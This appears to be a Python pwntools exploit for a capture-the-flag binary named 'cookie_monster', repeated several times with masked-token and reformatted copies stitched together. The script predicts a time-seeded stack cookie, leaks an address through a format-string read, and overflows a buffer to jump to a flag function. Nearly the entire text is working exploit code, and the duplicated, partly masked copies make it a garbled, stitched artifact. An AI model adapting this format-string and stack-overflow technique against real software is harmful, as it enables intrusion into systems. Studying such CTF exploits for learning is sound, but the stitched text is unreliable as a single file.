#!/usr/bin/env  python3 

from pwn import *

p = process('./cookie_monster')
#p = remote('ctf.umbccd.io', 4200)

from ctypes import *
libc = cdll.LoadLibrary('libc.so.6')
libc.srand(libc.time(None))
saved_cookie = libc.rand()

p.recvuntil('name?\n')
p.sendline('%17$p')
_ = p.recvuntil('cookie?\n')

main = int(_[:21][7:],16)
print(hex(main))

binary = ELF('cookie_monster')
flag = main + (binary.symbols['flag'] - binary.symbols['main'])
print(hex(flag))

payload = (0x11 - 4) * b'A'
payload += p32(saved_cookie)
payload += 8 * b'B'
payload += p64(flag)

p.sendline(payload)
p.stream()

e5aa3b6e2ff08e8fd497f1d69c25003a366300ac
<mask token>

<mask token>
libc.srand(libc.time(None))
<mask token>
p.recvuntil('name?\n')
p.sendline('%17$p')
<mask token>
print(hex(main))
<mask token>
print(hex(flag))
<mask token>
payload += p32(saved_cookie)
payload += 8 * b'B'
payload += p64(flag)
p.sendline(payload)
p.stream()

<mask token>
p = process('./cookie_monster')
<mask token>
libc = cdll.LoadLibrary('libc.so.6')
libc.srand(libc.time(None))
saved_cookie = libc.rand()
p.recvuntil('name?\n')
p.sendline('%17$p')
_ = p.recvuntil('cookie?\n')
main = int(_[:21][7:], 16)
print(hex(main))
binary = ELF('cookie_monster')
flag = main + (binary.symbols['flag'] - binary.symbols['main'])
print(hex(flag))
payload = (17 - 4) * b'A'
payload += p32(saved_cookie)
payload += 8 * b'B'
payload += p64(flag)
p.sendline(payload)
p.stream()

from pwn import *
p = process('./cookie_monster')
from ctypes import *
libc = cdll.LoadLibrary('libc.so.6')
libc.srand(libc.time(None))
saved_cookie = libc.rand()
p.recvuntil('name?\n')
p.sendline('%17$p')
_ = p.recvuntil('cookie?\n')
main = int(_[:21][7:], 16)
print(hex(main))
binary = ELF('cookie_monster')
flag = main + (binary.symbols['flag'] - binary.symbols['main'])
print(hex(flag))
payload = (17 - 4) * b'A'
payload += p32(saved_cookie)
payload += 8 * b'B'
payload += p64(flag)
p.sendline(payload)
p.stream()

#!/usr/bin/env  python3 

from pwn import *

p = process('./cookie_monster')
#p = remote('ctf.umbccd.io', 4200)

from ctypes import *
libc = cdll.LoadLibrary('libc.so.6')
libc.srand(libc.time(None))
saved_cookie = libc.rand()

p.recvuntil('name?\n')
p.sendline('%17$p')
_ = p.recvuntil('cookie?\n')

main = int(_[:21][7:],16)
print(hex(main))

binary = ELF('cookie_monster')
flag = main + (binary.symbols['flag'] - binary.symbols['main'])
print(hex(flag))

payload = (0x11 - 4) * b'A'
payload += p32(saved_cookie)
payload += 8 * b'B'
payload += p64(flag)

p.sendline(payload)
p.stream()
